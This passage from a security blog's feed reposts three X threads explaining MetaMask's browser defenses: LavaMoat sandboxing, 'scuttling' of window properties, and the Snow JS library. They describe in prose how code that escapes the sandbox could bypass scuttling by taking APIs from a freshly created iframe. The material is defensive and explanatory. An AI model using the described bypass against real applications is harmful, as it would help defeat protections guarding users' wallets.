    Meaning, we&apos;d have to implement such a solution as a #JavaScript shim, where we map and (synchronously!) intercept all possible ways of forming new global objects.&lt;br&gt;
    &lt;br&gt;
    Accomplishing that will allow us to...
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    ... not only scuttle any newly created global object, but in general to run any arbitrary code for every time such an object is created - before the creator gets access to it.&lt;br&gt;
    &lt;br&gt;
    That would restore the power of scuttling.&lt;br&gt;
    &lt;br&gt;
    You see where I&apos;m going with this, right?&lt;br&gt;
    &lt;br&gt;
    Meet SNOW JS ❄️: &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F1Ab7PcaYAARdrz.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Snow JS (tada)&quot; src=&quot;https://pbs.twimg.com/media/F1Ab7PcaYAARdrz.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    Snow does just that!&lt;br&gt;
    &lt;br&gt;
    By installing Snow in your webpage as first script, Snow intercepts (aka monkey patches) all methods of creating new realms.&lt;br&gt;
    &lt;br&gt;
    Afterwards, by passing Snow a callback, Snow does its best in making sure to invoke that callback with every new realm creation. &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F1Ab70iakAAeP1F.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Showing how by passing Snow a callback, Snow invokes it for every new iframe that is created, regardless of how the iframe was formed&quot; src=&quot;https://pbs.twimg.com/media/F1Ab70iakAAeP1F.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    Building a bulletproof version of Snow is a long on-going mission that&apos;s yet to be completed, facing multiple complex obstacles along the way.&lt;br&gt;
    &lt;br&gt;
    But with Snow, we&apos;re less concerned of &quot;document&quot; prop killing our scuttling idea - we just recursively scuttle child objects instead 😉
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    Btw, if you&apos;re building similar security tools that apply JS runtime protection to web apps, you&apos;re probably affected by similar threats. You&apos;re welcome to reach out, ask about and also use Snow.&lt;br&gt;
    In the next 🧵, I&apos;ll get more technical, exploring parts of Snow and its challenges.
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    In the meantime, some resources on Snow+scuttling:&lt;br&gt;
    &lt;br&gt;
    * &lt;a href=&quot;https://weizmangal.com/2022/11/18/snow-into-metamask/&quot;&gt;Integrating Snow into MetaMask 🦊&lt;/a&gt;&lt;br&gt;
    &lt;br&gt;
    &lt;br&gt;
    * &lt;a href=&quot;https://github.com/lavamoat/snow&quot;&gt; Snow on GitHub &lt;/a&gt;&lt;br&gt;
    &lt;br&gt;
    * &lt;a href=&quot;https://lavamoat.github.io/snow/demo/&quot;&gt;Live Demo of Snow &lt;/a&gt; (can you pop an alert?) &lt;br&gt;
    &lt;br&gt;
    * &lt;a href=&quot;https://github.com/weizman/awesome-javascript-realms-security&quot;&gt; Awesome Realms Security Repo &lt;/a&gt;
&lt;div&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>MetaMask JavaScript Security Stack (Part 2 - Snow) [𝕏]</title>
   <link href="https://weizman.github.io//2023/07/07/snow/"/>
   <updated>2023-07-07T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2023/07/07/snow</id>
   <content type="html">&lt;style&gt;
    .post {
        max-width: 80vh;
    }
    IMG {
        border: solid 1px lightgray;
        padding: 15px;
        margin: 15px;
    }
&lt;/style&gt;
&lt;blockquote&gt;&lt;p&gt;Originally &lt;a href=&quot;https://twitter.com/WeizmanGal/status/1677279550957568000&quot;&gt;posted on X&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;div id=container&gt;
    In Last week&apos;s tweet (↓) we discussed &quot;scuttling&quot;, a LavaMoat 🌋 feature we enable on MetaMask 🦊 for enhanced supply chain security.&lt;br&gt;
    &lt;br&gt;
    However, near the end I hinted scuttling isn&apos;t so simple in reality..&lt;br&gt;
    &lt;br&gt;
    Browser JS security folks? Come learn why, and how Snow ❄️ saves the day: &lt;br&gt;
    &lt;span class=&quot;entity-embed&quot;&gt;&lt;span class=&quot;twitter-player&quot;&gt;&lt;div class=&quot;twitter-tweet twitter-tweet-rendered&quot; style=&quot;width: 100%; margin: 10px auto; display: flex; max-width: unset;&quot;&gt;&lt;iframe id=&quot;twitter-widget-0&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot; class=&quot;&quot; style=&quot;position: static; visibility: visible; width: 550px; height: 715px; display: block; flex-grow: 1;&quot; title=&quot;X Post&quot; src=&quot;https://platform.twitter.com/embed/Tweet.html?creatorScreenName=WeizmanGal&amp;amp;dnt=true&amp;amp;embedId=twitter-widget-0&amp;amp;features=eyJ0ZndfdGltZWxpbmVfbGlzdCI6eyJidWNrZXQiOltdLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X2ZvbGxvd2VyX2NvdW50X3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9iYWNrZW5kIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19yZWZzcmNfc2Vzc2lvbiI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfZm9zbnJfc29mdF9pbnRlcnZlbnRpb25zX2VuYWJsZWQiOnsiYnVja2V0Ijoib24iLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X21peGVkX21lZGlhXzE1ODk3Ijp7ImJ1Y2tldCI6InRyZWF0bWVudCIsInZlcnNpb24iOm51bGx9LCJ0ZndfZXhwZXJpbWVudHNfY29va2llX2V4cGlyYXRpb24iOnsiYnVja2V0IjoxMjA5NjAwLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3Nob3dfYmlyZHdhdGNoX3Bpdm90c19lbmFibGVkIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19kdXBsaWNhdGVfc2NyaWJlc190b19zZXR0aW5ncyI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdXNlX3Byb2ZpbGVfaW1hZ2Vfc2hhcGVfZW5hYmxlZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdmlkZW9faGxzX2R5bmFtaWNfbWFuaWZlc3RzXzE1MDgyIjp7ImJ1Y2tldCI6InRydWVfYml0cmF0ZSIsInZlcnNpb24iOm51bGx9LCJ0ZndfbGVnYWN5X3RpbWVsaW5lX3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9mcm9udGVuZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9fQ%3D%3D&amp;amp;frame=false&amp;amp;hideCard=false&amp;amp;hideThread=true&amp;amp;id=1674751159003914240&amp;amp;lang=en&amp;amp;origin=https%3A%2F%2Fthreadreaderapp.com%2Fthread%2F1677279550957568000.html&amp;amp;sessionId=a8fc493d938b8ce2c74fe22c80573df0e1e45f07&amp;amp;theme=light&amp;amp;widgetsVersion=2615f7e52b7e0%3A1702314776716&amp;amp;width=550px&quot; data-tweet-id=&quot;1674751159003914240&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F0bk2_zaYAAR2A1.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;It&apos;s the same scuttling demo from last tweet, but with an addition demonstrating a security flaw with scuttling that leverages non-configurable property &amp;quot;document&amp;quot; to bypass the scuttling feature&quot; src=&quot;https://pbs.twimg.com/media/F0bk2_zaYAAR2A1.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    First, it&apos;s important to clarify there are multiple groups of properties we don&apos;t/can&apos;t scuttle, each group for its own reasons (scuttling is hard to achieve!)&lt;br&gt;
    &lt;br&gt;
    Today I&apos;ll focus on the &quot;non-configurable window object properties&quot; group.&lt;br&gt;
    &lt;br&gt;
    But first - how does scuttling even work?
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    For starters, we need to understand what to scuttle.&lt;br&gt;
    &lt;br&gt;
    To do that, we&apos;ll collect all the properties that are accessible via the window.&lt;br&gt;
    &lt;br&gt;
    That must include own properties of the window itself, but also own properties of every one of the prototypes in its prototype chain: &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F0bk3ukakAAGqSq.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Collecting all the properties one can access via the global object window (taken from LavaMoat source code)&quot; src=&quot;https://pbs.twimg.com/media/F0bk3ukakAAGqSq.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    Once we have that list, it&apos;s time to scuttle!&lt;br&gt;
    &lt;br&gt;
    Pretty simple, we just iterate the props we collected, and redefine their getters to deny access to their real values, and instead return &quot;undefined&quot; (for the sake of the example).&lt;br&gt;
    &lt;br&gt;
    But as you can see, the scuttling attempt fails... &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F0bk4VaaEAEE21g.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;It&apos;s a scuttling attempt that fails after trying to redefine a property that is not allowed to be redefined&quot; src=&quot;https://pbs.twimg.com/media/F0bk4VaaEAEE21g.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    In JS (by legacy), some props of the window object are non-configurable by definition (we&apos;re not gonna get into why).&lt;br&gt;
    &lt;br&gt;
    This means that some properties aren&apos;t going to cave in under scuttling - ever.&lt;br&gt;
    &lt;br&gt;
    Question is - which ones? And how useful are they going to be for attackers?
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    These are the 8 props that are non-configurable in the browser, and cannot be redefined whatsoever.&lt;br&gt;
    &lt;br&gt;
    * Infinity, NaN, undefined - are primitive values and therefore are not very powerful for attackers 👍&lt;br&gt;
    * window, top - refer back to the window object, which we already scuttle 👍 &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F0bk5BeaUAA_SeK.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Finding and listing all the properties that belong to the window itself that are not allowed to be redefined by default in the browser&quot; src=&quot;https://pbs.twimg.com/media/F0bk5BeaUAA_SeK.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    * chrome - very powerful for attackers (will elaborate on another thread one day)&lt;br&gt;
    &lt;br&gt;
    Luckily, even though is not configurable, it is writable, meaning we can&apos;t redefine its getter, but we can redefine its value to be undefined 👍&lt;br&gt;
    &lt;br&gt;
    Which leaves us with only two: document &amp;amp; location. &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F0bk5n6aIAQDOY6.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;The only 2 out of the 8 non configurable props that are actually putting scuttling in danger&quot; src=&quot;https://pbs.twimg.com/media/F0bk5n6aIAQDOY6.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    And unfortunately, if code escapes LavaMoat sandbox and gets access to either one - it can be pretty bad.&lt;br&gt;
    &lt;br&gt;
    Today, we&apos;ll focus on document access, why it&apos;s dangerous, and how we use our very own Snow JS ❄️ to reduce that risk.&lt;br&gt;
    &lt;br&gt;
    document access is dangerous for obvious reasons:
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    DOM access allows attackers to intercept the interaction users have with the app. They can change its layout deceitfully, thus tricking the user to take actions that might compromise its account or its private key.&lt;br&gt;
    &lt;br&gt;
    That&apos;s bad, but mitigating that isn&apos;t our top priority, because: &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F0blKPBWYAANevN.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;(poorly) demonstrating how attackers can change the layout to trick users into sharing sensitive info with the attackers without intending to&quot; src=&quot;https://pbs.twimg.com/media/F0blKPBWYAANevN.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;1. &lt;/span&gt; Fully sandboxing the DOM was proven before as practically impossible.&lt;br&gt;
    &lt;br&gt;
    Projects have tried achieving {parts of} that before (e.g. CaJa) and have learned how tangled up the DOM really is.&lt;br&gt;
    &lt;br&gt;
    It&apos;ll take some time before we decide to retake on that challenge.&lt;br&gt;
    &lt;br&gt;
    But most importantly:
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;2. &lt;/span&gt; We&apos;re less worried of DOM interception, as it ultimately requires UI (=user interaction) to compromise MetaMask.&lt;br&gt;
    &lt;br&gt;
    We&apos;re far more worried about powerful JS capabilities the window object grants, with which attackers can breach MetaMask without any UI - which is why we scuttle!
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    So... what&apos;s so bad about it?&lt;br&gt;
    &lt;br&gt;
    If that&apos;s the &quot;obvious&quot; and &quot;less prioritized&quot; reason we&apos;re worried about DOM access - what&apos;s the less obvious, more dangerous reason?&lt;br&gt;
    &lt;br&gt;
    Short answer? iframes.&lt;br&gt;
    &lt;br&gt;
    Long(er) answer?&lt;br&gt;
    &lt;br&gt;
    iframes introduce new realms, which in the browser translate to... &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F0blih0XoAI2Fc0.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Escaping the sandbox and accessing the window object won&apos;t grant attackers access to APIs such as &amp;quot;fetch&amp;quot; or &amp;quot;alert&amp;quot; thanks to scuttling, but with &amp;quot;document&amp;quot; still being accessible, attackers can create a new iframe and just reach in to its own &amp;quot;fetch&amp;quot; and &amp;quot;alert&amp;quot; APIs, thus bypassing the concept of scuttling&quot; src=&quot;https://pbs.twimg.com/media/F0blih0XoAI2Fc0.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    ... New windows! Meaning, more windows to scuttle! 😱&lt;br&gt;
    &lt;br&gt;
    So in reality, assuming attackers escaped LavaMoat sandbox, bypassing scuttling is simple - just create a new iframe and steal the scuttled props from its window!&lt;br&gt;
    &lt;br&gt;
    And what&apos;s the single prop needed to create a new iframe? 👇 &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F0bluXkWcAAn4mw.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Demonstrate how alert fails thanks to scuttling, but then calling an alert of an iframe instead bypasses scuttling successfully.&quot; src=&quot;https://pbs.twimg.com/media/F0bluXkWcAAn4mw.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    Does that make scuttling useless? KINDA.&lt;br&gt;
    &lt;br&gt;
    Does that make my last tweet a lie? Am I just a big phoney?&lt;br&gt;
    &lt;br&gt;
    Well, not quite. By integrating scuttling with Snow ❄️, we&apos;re eliminating the threat, but in a different, also advanced way.&lt;br&gt;
    &lt;br&gt;
    Getting 2 long though, so wait for nxt week&apos;s 🧵 😉
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    There it is, part 3 &lt;span class=&quot;entity-embed&quot;&gt;&lt;span class=&quot;twitter-player&quot;&gt;&lt;div class=&quot;twitter-tweet twitter-tweet-rendered&quot; style=&quot;width: 100%; margin: 10px auto; display: flex; max-width: unset;&quot;&gt;&lt;iframe id=&quot;twitter-widget-1&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot; class=&quot;&quot; style=&quot;position: static; visibility: visible; width: 550px; height: 667px; display: block; flex-grow: 1;&quot; title=&quot;X Post&quot; src=&quot;https://platform.twitter.com/embed/Tweet.html?creatorScreenName=WeizmanGal&amp;amp;dnt=true&amp;amp;embedId=twitter-widget-1&amp;amp;features=eyJ0ZndfdGltZWxpbmVfbGlzdCI6eyJidWNrZXQiOltdLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X2ZvbGxvd2VyX2NvdW50X3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9iYWNrZW5kIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19yZWZzcmNfc2Vzc2lvbiI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfZm9zbnJfc29mdF9pbnRlcnZlbnRpb25zX2VuYWJsZWQiOnsiYnVja2V0Ijoib24iLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X21peGVkX21lZGlhXzE1ODk3Ijp7ImJ1Y2tldCI6InRyZWF0bWVudCIsInZlcnNpb24iOm51bGx9LCJ0ZndfZXhwZXJpbWVudHNfY29va2llX2V4cGlyYXRpb24iOnsiYnVja2V0IjoxMjA5NjAwLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3Nob3dfYmlyZHdhdGNoX3Bpdm90c19lbmFibGVkIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19kdXBsaWNhdGVfc2NyaWJlc190b19zZXR0aW5ncyI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdXNlX3Byb2ZpbGVfaW1hZ2Vfc2hhcGVfZW5hYmxlZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdmlkZW9faGxzX2R5bmFtaWNfbWFuaWZlc3RzXzE1MDgyIjp7ImJ1Y2tldCI6InRydWVfYml0cmF0ZSIsInZlcnNpb24iOm51bGx9LCJ0ZndfbGVnYWN5X3RpbWVsaW5lX3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9mcm9udGVuZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9fQ%3D%3D&amp;amp;frame=false&amp;amp;hideCard=false&amp;amp;hideThread=true&amp;amp;id=1679873336510402561&amp;amp;lang=en&amp;amp;origin=https%3A%2F%2Fthreadreaderapp.com%2Fthread%2F1677279550957568000.html&amp;amp;sessionId=a8fc493d938b8ce2c74fe22c80573df0e1e45f07&amp;amp;theme=light&amp;amp;widgetsVersion=2615f7e52b7e0%3A1702314776716&amp;amp;width=550px&quot; data-tweet-id=&quot;1679873336510402561&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;div&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>MetaMask JavaScript Security Stack (Part 1 - scuttling) [𝕏]</title>
   <link href="https://weizman.github.io//2023/06/30/scuttling/"/>
   <updated>2023-06-30T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2023/06/30/scuttling</id>
   <content type="html">&lt;style&gt;
        .post {
            max-width: 80vh;
        }
        IMG {
            border: solid 1px lightgray;
            padding: 15px;
            margin: 15px;
        }
    &lt;/style&gt;
&lt;blockquote&gt;&lt;p&gt;Originally &lt;a href=&quot;https://twitter.com/WeizmanGal/status/1674751159003914240&quot;&gt;posted on X&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;div id=container&gt;
&lt;p&gt;MetaMask 🦊 is an amazing app for many reasons.&lt;br&gt;
&lt;br&gt;
One reason I like especially is that even though it works just fine, the window object of the app is (almost) unusable!&lt;br&gt;
&lt;br&gt;
If you’re into Browser JavaScript security, come learn about what we call “scuttling” - by LavaMoat 🌋&lt;br&gt;
&lt;br&gt;
Well.. &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/Fz3pTDwaUAcTwYK.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;https://pbs.twimg.com/media/Fz3pTDwaUAcTwYK.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;hr&gt;
.. naturally, MetaMask 🦊 runs on top of a complex graph of dependencies.&lt;br&gt;
&lt;br&gt;
Therefore, we&apos;re quite scared about supply chain attacks (you should too btw).&lt;br&gt;
&lt;br&gt;
So scared that we build and run the app under a homemade tool we call LavaMoat 🌋.&lt;br&gt;
&lt;br&gt;
By running on top of SES by &lt;a href=&quot;https://x.com/@agoric&quot;&gt;@agoric&lt;/a&gt;,
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
LavaMoat creates a dedicated sandbox for each dependency.&lt;br&gt;
&lt;br&gt;
Furthermore, it makes sure each sandboxed dep gets access only to the features it actually needs.&lt;br&gt;
&lt;br&gt;
So for example, if dep &quot;axios&quot; needs access to &quot;window.fetch&quot;, LavaMoat will make sure it gets that access.&lt;br&gt;
&lt;br&gt;
But if.. &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/Fz3pT7maUAAgw6o.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;https://pbs.twimg.com/media/Fz3pT7maUAAgw6o.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
.. &quot;axios&quot; gets an update where it tries to access &quot;document.cookie&quot; all of the sudden, its dedicated LavaMoat sandbox won&apos;t allow it, thus preventing the dep from accessing features it isn&apos;t supposed to have access to.&lt;br&gt;
&lt;br&gt;
Pretty neat right?&lt;br&gt;
&lt;br&gt;
&lt;a class=&quot;entity-url&quot; data-preview=&quot;true&quot; href=&quot;https://github.com/LavaMoat/LavaMoat#how-lavamoat-works&quot; style=&quot;display: none;&quot;&gt;github.com/LavaMoat/LavaMoat&lt;/a&gt;
&lt;br&gt;
However,
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;div&gt;
&lt;/div&gt;&lt;hr&gt;
What if a dep manages to use the APIs allowed by LavaMoat to escape the sandbox?&lt;br&gt;
&lt;br&gt;
In that case, the dep can climb up to the real global object of the app (the window) where it can find all the APIs LavaMoat tried to deny it from!&lt;br&gt;
&lt;br&gt;
Effectively, (almost) canceling LavaMoat&apos;s goal! &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/Fz3pUyUaIAAoWp_.png&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;https://pbs.twimg.com/media/Fz3pUyUaIAAoWp_.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
Luckily, we like to prepare for such edge cases in MetaMask ⚔️&lt;br&gt;
&lt;br&gt;
The beauty about the “sandboxes” LavaMoat uses (called Compartments - implemented in SES by &lt;a href=&quot;https://x.com/@agoric&quot;&gt;@agoric&lt;/a&gt;) is that the instances of the APIs they provide are not the same instances originally coming from the global object.
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
So if the entire dep-graph and the app itself all live in their own separate sandboxes with their own sets of APIs - this means the original APIs that came from the original global object are unused.&lt;br&gt;
&lt;br&gt;
If so, why not remove them then?&lt;br&gt;
&lt;br&gt;
In fact, it&apos;ll even make the app more secure!
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
That way, code escaping the sandbox won&apos;t be able to grab APIs it isn&apos;t allowed to!&lt;br&gt;
&lt;br&gt;
So if a dep we don&apos;t trust is allowed to access &quot;fetch&quot;, and somehow managed to escape its Compartment (/sandbox) and climb up to the window object, it&apos;ll expose much more APIs than just &quot;fetch&quot;.
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
But if we remove those APIs from the window object, escaping the sandbox will no longer be enough to reach other APIs, and the dep will remain stuck with only &quot;fetch&quot;!&lt;br&gt;
&lt;br&gt;
This is how you reach a wacky state where your app works just fine, but the real window object&apos;s dead inside 🥲 &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/Fz3pVyjagAAlegz.png&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;https://pbs.twimg.com/media/Fz3pVyjagAAlegz.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
We call the removal of the APIs and properties of the global object &quot;scuttling&quot; (coined by &lt;a href=&quot;https://x.com/@kumavis_&quot;&gt;@kumavis_&lt;/a&gt;), and it actually works!&lt;br&gt;
&lt;br&gt;
... in theory.&lt;br&gt;
&lt;br&gt;
In reality, it&apos;s not so simple - we still skip scuttling of some specific properties.&lt;br&gt;
&lt;br&gt;
But I will elaborate on that in the next thread 😉
